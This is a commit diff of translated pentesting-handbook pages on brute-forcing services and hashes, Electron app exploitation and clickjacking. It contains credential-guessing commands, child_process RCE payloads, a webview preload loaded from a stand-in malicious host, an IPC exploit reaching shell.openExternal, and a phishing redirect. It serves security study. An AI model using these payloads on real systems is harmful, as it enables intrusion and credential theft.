Translated ['src/generic-hacking/brute-force.md', 'src/network-services-

This commit is contained in:
Translator 2025-03-09 14:22:49 +00:00
parent 1af43702fd
commit 8d80b557b1
5 changed files with 144 additions and 80 deletions

View File

@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
^ Special characters including spac ^ Special characters including spac
crunch 6 8 -t ,@@^^%% crunch 6 8 -t ,@@^^%%
``` ```
### Cewl ### Словники на основі веб-сайтів
```bash ```bash
# Cewl gets words from the victims page
cewl example.com -m 5 -w words.txt cewl example.com -m 5 -w words.txt
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
cat /path/to/urls.txt | tok
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
cat /path/to/js-urls.txt | python3 getjswords.py
``` ```
### [CUPP](https://github.com/Mebus/cupp) ### [CUPP](https://github.com/Mebus/cupp)
@ -113,7 +120,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
msf> use auxiliary/scanner/couchdb/couchdb_login msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
``` ```
### Docker Реєстр ### Docker Registry
``` ```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
``` ```
@ -332,6 +339,8 @@ hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```bash ```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V hydra -L <Username_list> rsh://<Victim_IP> -v -V
``` ```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
### Rsync ### Rsync
```bash ```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP> nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
@ -435,7 +444,7 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```bash ```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
``` ```
## Локальний ## Local
### Онлайн бази даних для злому ### Онлайн бази даних для злому
@ -451,7 +460,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
- [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Перевірте це перед тим, як спробувати зламати хеш за допомогою брутфорсу. Перевірте це перед спробою злому хешу.
### ZIP ### ZIP
```bash ```bash
@ -469,9 +478,9 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
``` ```
#### Відома атака на zip з відкритим текстом #### Відомий атака на zip з відкритим текстом
Вам потрібно знати **відкритий текст** (або частину відкритого тексту) **файлу, що міститься всередині** зашифрованого zip. Ви можете перевірити **імена файлів та розмір файлів, що містяться всередині** зашифрованого zip, виконавши: **`7z l encrypted.zip`**\ Вам потрібно знати **відкритий текст** (або частину відкритого тексту) **файлу, що міститься всередині** зашифрованого zip. Ви можете перевірити **імена файлів та розмір файлів, що містяться всередині** зашифрованого zip, запустивши: **`7z l encrypted.zip`**\
Завантажте [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) зі сторінки релізів. Завантажте [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) зі сторінки релізів.
```bash ```bash
# You need to create a zip file containing only the file that is inside the encrypted zip # You need to create a zip file containing only the file that is inside the encrypted zip
@ -560,7 +569,7 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt mount /dev/mapper/mylucksopen /mnt
``` ```
Інший туторіал Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) Інший туторіал по Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql ### Mysql
```bash ```bash
@ -606,12 +615,12 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
**Приклади хешів:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) **Приклади хешів:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Ідентифікатор хешів ### Hash-identifier
```bash ```bash
hash-identifier hash-identifier
> <HASH> > <HASH>
``` ```
### Словники ### Wordlists
- **Rockyou** - **Rockyou**
- [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) - [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
@ -699,7 +708,7 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```bash ```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM" hashcat --example-hashes | grep -B1 -A2 "NTLM"
``` ```
Злом Linux хешів - файл /etc/shadow Злом Linux Hashes - файл /etc/shadow
``` ```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems 500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
@ -711,7 +720,7 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
3000 | LM | Operating-Systems 3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems 1000 | NTLM | Operating-Systems
``` ```
Зламування загальних хешів додатків Злом загальних хешів додатків
``` ```
900 | MD4 | Raw Hash 900 | MD4 | Raw Hash
0 | MD5 | Raw Hash 0 | MD5 | Raw Hash

View File

@ -37,13 +37,13 @@ win.loadURL(`file://path/to/index.html`)
Electron додаток **може отримати доступ до пристрою** через Node API, хоча його можна налаштувати, щоб запобігти цьому: Electron додаток **може отримати доступ до пристрою** через Node API, хоча його можна налаштувати, щоб запобігти цьому:
- **`nodeIntegration`** - за замовчуванням вимкнено. Якщо ввімкнено, дозволяє отримувати доступ до функцій Node з renderer process. - **`nodeIntegration`** - за замовчуванням вимкнено. Якщо ввімкнено, дозволяє отримувати доступ до функцій Node з renderer process.
- **`contextIsolation`** - за замовчуванням увімкнено. Якщо вимкнено, основний і рендеринговий процеси не ізольовані. - **`contextIsolation`** - за замовчуванням увімкнено. Якщо вимкнено, основний і renderer процеси не ізольовані.
- **`preload`** - за замовчуванням порожній. - **`preload`** - за замовчуванням порожній.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнено. Це обмежить дії, які може виконувати NodeJS. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнено. Це обмежить дії, які може виконувати NodeJS.
- Node Integration в Workers - Node Integration в Workers
- **`nodeIntegrationInSubframes`** - за замовчуванням вимкнено. - **`nodeIntegrationInSubframes`** - за замовчуванням вимкнено.
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** в рамках Electron додатку. - Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron додатку.
- Якщо **`nodeIntegration`** **вимкнено**, тоді попередні завантаження будуть завантажуватися в iframe. - Якщо **`nodeIntegration`** **вимкнено**, тоді попередні завантаження завантажаться в iframe.
Приклад конфігурації: Приклад конфігурації:
```javascript ```javascript
@ -71,7 +71,7 @@ spellcheck: true,
}, },
} }
``` ```
Деякі **RCE payloads** з [тут](https://7as.es/electron/nodeIntegration_rce.txt): Деякі **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html ```html
Example Payloads (Windows): Example Payloads (Windows):
<img <img
@ -95,9 +95,9 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x" src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" /> onerror="alert(require('child_process').execSync('uname -a').toString());" />
``` ```
### Capture traffic ### Захоплення трафіку
Змініть конфігурацію start-main і додайте використання проксі, наприклад: Змініть конфігурацію start-main і додайте використання проксі, такого як:
```javascript ```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
``` ```
@ -152,13 +152,13 @@ runCalc()
## RCE: XSS + contextIsolation ## RCE: XSS + contextIsolation
_**contextIsolation**_ вводить **окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron**, так що виконання JavaScript кожного коду не впливає на інший. Це необхідна функція для усунення можливості RCE. _**contextIsolation**_ вводить **окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron**, щоб виконання JavaScript кожного коду не впливало на інший. Це необхідна функція для усунення можливості RCE.
Якщо контексти не ізольовані, зловмисник може: Якщо контексти не ізольовані, зловмисник може:
1. Виконати **произвольний JavaScript у рендерері** (XSS або навігація на зовнішні сайти) 1. Виконати **произвольний JavaScript у рендерері** (XSS або навігація на зовнішні сайти)
2. **Перезаписати вбудований метод**, який використовується в preload або внутрішньому коді Electron, на власну функцію 2. **Перезаписати вбудований метод**, який використовується в preload або внутрішньому коді Electron, на власну функцію
3. **Викликати** використання **перезаписаної функції** 3. **Запустити** використання **перезаписаної функції**
4. RCE? 4. RCE?
Є 2 місця, де вбудовані методи можуть бути перезаписані: у коді preload або у внутрішньому коді Electron: Є 2 місця, де вбудовані методи можуть бути перезаписані: у коді preload або у внутрішньому коді Electron:
@ -185,14 +185,14 @@ window.addEventListener('click', (e) => {
Для отримання додаткової інформації про ці приклади перегляньте [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) Для отримання додаткової інформації про ці приклади перегляньте [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для `nodeIntegration` та `contextIsolation`. Встановлено, що **віддалене виконання коду на стороні клієнта (RCE)**, яке націлене на попередньо завантажені скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань. При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для `nodeIntegration` та `contextIsolation`. Встановлено, що **віддалене виконання коду на стороні клієнта (RCE)**, яке націлене на попередні скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань.
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують специфічні обробники подій, які є критично важливими для безпеки та функціональності додатку: Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують специфічні обробники подій, які є критично важливими для безпеки та функціональності додатку:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {} webContents.on("will-navigate", function (event, url) {}
``` ```
Ці слухачі **перекриваються настільним додатком** для реалізації власної **бізнес-логіки**. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо чи в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це вказує на те, що посилання слід відкривати зовні, використовуючи функцію `shell.openExternal`. Ці слухачі **перекриваються настільним додатком** для реалізації власної **бізнес-логіки**. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо або в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це вказує на те, що посилання слід відкривати зовні, використовуючи функцію `shell.openExternal`.
**Ось спрощений псевдокод:** **Ось спрощений псевдокод:**
@ -224,13 +224,34 @@ window.open(
) )
</script> </script>
``` ```
## RCE: webviewTag + вразливий preload IPC + shell.openExternal
Цю вразливість можна знайти в **[цьому звіті](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
**webviewTag** є **застарілою функцією**, яка дозволяє використовувати **NodeJS** в **процесі рендерингу**, що слід вимкнути, оскільки це дозволяє завантажувати скрипт у контексті preload, як:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Отже, зловмисник, який зміг завантажити довільну сторінку, міг би використати цей тег для **завантаження довільного попереднього скрипту**.
Цей попередній скрипт був зловжито використаний для виклику **вразливого IPC-сервісу (`skype-new-window`)**, який викликав **`shell.openExternal`** для отримання RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Читання внутрішніх файлів: XSS + contextIsolation ## Читання внутрішніх файлів: XSS + contextIsolation
**Вимкнення `contextIsolation` дозволяє використовувати `<webview>` теги**, подібно до `<iframe>`, для читання та ексфільтрації локальних файлів. У наведеному прикладі показано, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів: **Вимкнення `contextIsolation` дозволяє використовувати `<webview>` теги**, подібно до `<iframe>`, для читання та ексфільтрації локальних файлів. Наведено приклад, який демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>) ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Крім того, подається ще один метод для **читання внутрішнього файлу**, що підкреслює критичну вразливість читання локальних файлів в Electron десктопному додатку. Це передбачає ін'єкцію скрипта для експлуатації програми та ексфільтрації даних: Крім того, поділено ще один метод **читання внутрішнього файлу**, який підкреслює критичну вразливість читання локальних файлів в Electron десктопному додатку. Це передбачає інжекцію скрипта для експлуатації програми та ексфільтрації даних:
```html ```html
<br /><br /><br /><br /> <br /><br /><br /><br />
<h1> <h1>
@ -248,19 +269,19 @@ frames[0].document.body.innerText
``` ```
## **RCE: XSS + Old Chromium** ## **RCE: XSS + Old Chromium**
Якщо **chromium**, що використовується в додатку, є **старим** і в ньому є **відомі** **вразливості**, можливо, ви зможете **використати це та отримати RCE через XSS**.\ Якщо **chromium**, що використовується в додатку, є **старим** і на ньому є **відомі** **вразливості**, можливо, ви зможете **використати це та отримати RCE через XSS**.\
Ви можете побачити приклад у цьому **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) Ви можете побачити приклад у цьому **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass** ## **XSS Phishing via Internal URL regex bypass**
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли**, ви могли б спробувати використати це для **викрадення облікових даних через фішинг**. Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли**, ви можете спробувати використати це, щоб **вкрасти облікові дані через фішинг**.
По-перше, вам потрібно знати, що відбувається, коли ви намагаєтеся відкрити новий URL, перевіряючи JS код на фронтенді: По-перше, вам потрібно знати, що відбувається, коли ви намагаєтеся відкрити нову URL, перевіряючи JS код на фронтенді:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
``` ```
Виклик **`openInternally`** вирішить, чи **посилання** буде **відкрито** у **десктопному вікні**, оскільки це посилання, що належить платформі, **чи** буде воно відкрито у **браузері як ресурс третьої сторони**. Виклик **`openInternally`** вирішить, чи **посилання** буде **відкрито** в **десктопному вікні**, оскільки це посилання, що належить платформі, **чи** буде воно відкрито в **браузері як ресурс третьої сторони**.
У випадку, якщо **regex**, використаний функцією, є **вразливим до обходів** (наприклад, через **неекранування крапок піддоменів**), зловмисник може зловживати XSS, щоб **відкрити нове вікно, яке** буде розташоване в інфраструктурі зловмисника, **питавши у користувача** про облікові дані: У випадку, якщо **regex**, використаний функцією, є **вразливим до обходів** (наприклад, через **неекранування крапок піддоменів**), зловмисник може зловживати XSS, щоб **відкрити нове вікно, яке** буде розташоване в інфраструктурі зловмисника, **питавши у користувача** про облікові дані:
```html ```html
@ -268,17 +289,21 @@ webContents.on("will-navigate", function (event, url) {} // o
window.open("<http://subdomainagoogleq.com/index.html>") window.open("<http://subdomainagoogleq.com/index.html>")
</script> </script>
``` ```
## Remote module ## `file://` Протокол
Модуль Electron Remote дозволяє **процесам рендеринга отримувати доступ до API основного процесу**, полегшуючи комунікацію в рамках програми Electron. Однак, увімкнення цього модуля вводить значні ризики безпеки. Це розширює поверхню атаки програми, роблячи її більш вразливою до уразливостей, таких як атаки міжсайтового скриптингу (XSS). Як згадано в [документації](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), сторінки, що працюють на **`file://`**, мають односторонній доступ до кожного файлу на вашій машині, що означає, що **проблеми XSS можуть бути використані для завантаження довільних файлів** з машини користувача. Використання **кастомного протоколу** запобігає таким проблемам, оскільки ви можете обмежити протокол лише для обслуговування певного набору файлів.
## Віддалений модуль
Віддалений модуль Electron дозволяє **процесам рендерингу отримувати доступ до API основного процесу**, полегшуючи комунікацію в рамках програми Electron. Однак, увімкнення цього модуля вводить значні ризики безпеки. Це розширює поверхню атаки програми, роблячи її більш вразливою до уразливостей, таких як атаки міжсайтового скриптингу (XSS).
> [!TIP] > [!TIP]
> Хоча модуль **remote** відкриває деякі API з основного процесу для процесів рендеринга, отримати RCE, просто зловживаючи компонентами, не так просто. Однак компоненти можуть розкривати чутливу інформацію. > Хоча **віддалений** модуль відкриває деякі API з основного до процесів рендерингу, отримати RCE, просто зловживаючи компонентами, не так просто. Однак компоненти можуть розкривати чутливу інформацію.
> [!WARNING] > [!WARNING]
> Багато додатків, які все ще використовують модуль remote, роблять це таким чином, що **вимагає увімкнення NodeIntegration** в процесі рендеринга, що є **величезним ризиком безпеки**. > Багато програм, які все ще використовують віддалений модуль, роблять це таким чином, що **вимагає увімкнення NodeIntegration** в процесі рендерингу, що є **величезним ризиком безпеки**.
З моменту виходу Electron 14 модуль `remote` Electron може бути увімкнений у кількох етапах, оскільки з причин безпеки та продуктивності **рекомендується не використовувати його**. З версії Electron 14 модуль `remote` може бути увімкнений у кількох етапах, оскільки з міркувань безпеки та продуктивності **рекомендується не використовувати його**.
Щоб увімкнути його, спочатку потрібно **увімкнути його в основному процесі**: Щоб увімкнути його, спочатку потрібно **увімкнути його в основному процесі**:
```javascript ```javascript
@ -291,7 +316,7 @@ mainWindow = new BrowserWindow({
}) })
remoteMain.enable(mainWindow.webContents) remoteMain.enable(mainWindow.webContents)
``` ```
Тоді процес рендеринга може імпортувати об'єкти з модуля, як: Тоді процес рендерингу може імпортувати об'єкти з модуля, як-от:
```javascript ```javascript
import { dialog, getCurrentWindow } from '@electron/remote' import { dialog, getCurrentWindow } from '@electron/remote'
``` ```
@ -302,7 +327,7 @@ import { dialog, getCurrentWindow } from '@electron/remote'
- **`app.setAppLogsPath([path])`** - **`app.setAppLogsPath([path])`**
- **Визначає** або **створює** каталог для зберігання **логів додатка**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**. - **Визначає** або **створює** каталог для зберігання **логів додатка**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Реєструє** поточний виконуваний файл як **за замовчуванням обробник** для вказаного **протоколу**. Ви можете надати **кастомний шлях** та **аргументи**, якщо це необхідно. - **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **протоколу**. Ви можете надати **кастомний шлях** та **аргументи**, якщо потрібно.
- **`app.setUserTasks(tasks)`** - **`app.setUserTasks(tasks)`**
- **Додає** завдання до **категорії Завдань** у **Jump List** (на Windows). Кожне завдання може контролювати, як додаток **запускається** або які **аргументи** передаються. - **Додає** завдання до **категорії Завдань** у **Jump List** (на Windows). Кожне завдання може контролювати, як додаток **запускається** або які **аргументи** передаються.
- **`app.importCertificate(options, callback)`** - **`app.importCertificate(options, callback)`**
@ -310,9 +335,9 @@ import { dialog, getCurrentWindow } from '@electron/remote'
- **`app.moveToApplicationsFolder([options])`** - **`app.moveToApplicationsFolder([options])`**
- **Переміщує** додаток до **каталогу Додатків** (на macOS). Допомагає забезпечити **стандартну установку** для користувачів Mac. - **Переміщує** додаток до **каталогу Додатків** (на macOS). Допомагає забезпечити **стандартну установку** для користувачів Mac.
- **`app.setJumpList(categories)`** - **`app.setJumpList(categories)`**
- **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Ви можете вказати **категорії** для організації того, як завдання з'являються для користувача. - **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Ви можете вказати **категорії**, щоб організувати, як завдання з'являються для користувача.
- **`app.setLoginItemSettings(settings)`** - **`app.setLoginItemSettings(settings)`**
- **Конфігурує**, які **виконувані файли** запускаються при **вході** разом з їхніми **опціями** (тільки macOS і Windows). - **Налаштовує**, які **виконувані файли** запускаються при **вході** разом з їхніми **опціями** (тільки macOS і Windows).
```javascript ```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit() Native.app.exit()
@ -338,7 +363,7 @@ console.log('Recent Places:', recentPlaces);
* **Слухає** **рідні macOS сповіщення** за допомогою NSDistributedNotificationCenter. * **Слухає** **рідні macOS сповіщення** за допомогою NSDistributedNotificationCenter.
* Перед **macOS Catalina** ви могли перехоплювати **всі** розподілені сповіщення, передаючи **nil** до CFNotificationCenterAddObserver. * Перед **macOS Catalina** ви могли перехоплювати **всі** розподілені сповіщення, передаючи **nil** до CFNotificationCenterAddObserver.
* Після **Catalina / Big Sur** пісочниці додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **блокування/розблокування екрану**, **монтування томів**, **мережеву активність** тощо) реєструючи сповіщення **за назвою**. * Після **Catalina / Big Sur** пісочничні додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **блокування/розблокування екрану**, **монтування дисків**, **мережеву активність** тощо) реєструючи сповіщення **за назвою**.
### **getUserDefault / setUserDefault** ### **getUserDefault / setUserDefault**
@ -346,9 +371,9 @@ console.log('Recent Places:', recentPlaces);
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **останні місця файлів** або **географічне положення користувача**. * **getUserDefault** може **отримувати** чутливу інформацію, таку як **останні місця файлів** або **географічне положення користувача**.
* **setUserDefault** може **модифікувати** ці налаштування, потенційно впливаючи на **конфігурацію** програми. * **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на **конфігурацію** програми.
* У **старих версіях Electron** (до v8.3.0) була доступна лише **стандартна сукупність** NSUserDefaults. * У **старіших версіях Electron** (до v8.3.0) лише **стандартний набір** NSUserDefaults був **доступний**.
## Shell.showItemInFolder ## Shell.showItemInFolder
@ -358,9 +383,9 @@ console.log('Recent Places:', recentPlaces);
## Content Security Policy ## Content Security Policy
Додатки Electron повинні мати **Політику безпеки контенту (CSP)** для **запобігання XSS-атакам**. **CSP** є **стандартом безпеки**, який допомагає **запобігти** **виконанню** **недовіреного коду** в браузері. Додатки Electron повинні мати **Політику безпеки контенту (CSP)**, щоб **запобігти атакам XSS**. **CSP** є **стандартом безпеки**, який допомагає **запобігти** **виконанню** **недовіреного коду** в браузері.
Зазвичай **конфігурується** у файлі **`main.js`** або в шаблоні **`index.html`** з CSP всередині **мета-тегу**. Зазвичай **налаштовується** у файлі **`main.js`** або в шаблоні **`index.html`** з CSP всередині **мета-тегу**.
Для отримання додаткової інформації перегляньте: Для отримання додаткової інформації перегляньте:
@ -368,12 +393,13 @@ console.log('Recent Places:', recentPlaces);
pentesting-web/content-security-policy-csp-bypass/ pentesting-web/content-security-policy-csp-bypass/
{{#endref}} {{#endref}}
## **Tools** ## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) - це інструмент для виявлення неправильних налаштувань і антипатернів безпеки в додатках на базі Electron. - [**Electronegativity**](https://github.com/doyensec/electronegativity) - це інструмент для виявлення неправильних налаштувань і антипатернів безпеки в додатках на базі Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) - це плагін з відкритим кодом для VS Code для додатків Electron, який використовує Electronegativity. - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) - це відкритий плагін VS Code для додатків Electron, який використовує Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) для перевірки вразливих сторонніх бібліотек. - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) для перевірки вразливих сторонніх бібліотек
- [**Electro.ng**](https://electro.ng/): Вам потрібно його купити. - [**Electro.ng**](https://electro.ng/): Вам потрібно його купити
## Labs ## Labs

View File

@ -8,11 +8,11 @@
### Трюк з попереднім заповненням форм ### Трюк з попереднім заповненням форм
Іноді можливо **заповнити значення полів форми, використовуючи GET параметри під час завантаження сторінки**. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити. Іноді можливо **заповнити значення полів форми, використовуючи GET-параметри під час завантаження сторінки**. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити.
### Заповнення форми за допомогою Drag\&Drop ### Заповнити форму за допомогою Drag\&Drop
Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його ввести якусь конкретну інформацію (таку як електронна пошта або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його написати якусь конкретну інформацію (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Основний Payload ### Основний Payload
```css ```css
@ -91,8 +91,8 @@ background: #F00;
Якщо ви виявили **атаку XSS, яка вимагає, щоб користувач натиснув** на якийсь елемент, щоб **запустити** XSS, і сторінка є **вразливою до clickjacking**, ви можете зловживати цим, щоб обманути користувача, змусивши його натиснути кнопку/посилання.\ Якщо ви виявили **атаку XSS, яка вимагає, щоб користувач натиснув** на якийсь елемент, щоб **запустити** XSS, і сторінка є **вразливою до clickjacking**, ви можете зловживати цим, щоб обманути користувача, змусивши його натиснути кнопку/посилання.\
Приклад:\ Приклад:\
Ви знайшли **self XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking**, і ви можете **попередньо заповнити** **форму** з параметрами GET.\ Ви знайшли **self XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking** і ви можете **попередньо заповнити** **форму** з GET параметрами.\
Зловмисник може підготувати **Clickjacking** атаку на цю сторінку, **попередньо заповнивши** **форму** з **XSS payload** і **обманути** **користувача** на **відправлення** форми. Отже, **коли форма буде відправлена** і значення будуть змінені, **користувач виконає XSS**. Зловмисник може підготувати **Clickjacking** атаку на цю сторінку, **попередньо заповнивши** **форму** з **XSS payload** і **обманюючи** **користувача** на **відправлення** форми. Отже, **коли форма буде відправлена** і значення будуть змінені, **користувач виконає XSS**.
### DoubleClickjacking ### DoubleClickjacking
@ -100,8 +100,10 @@ background: #F00;
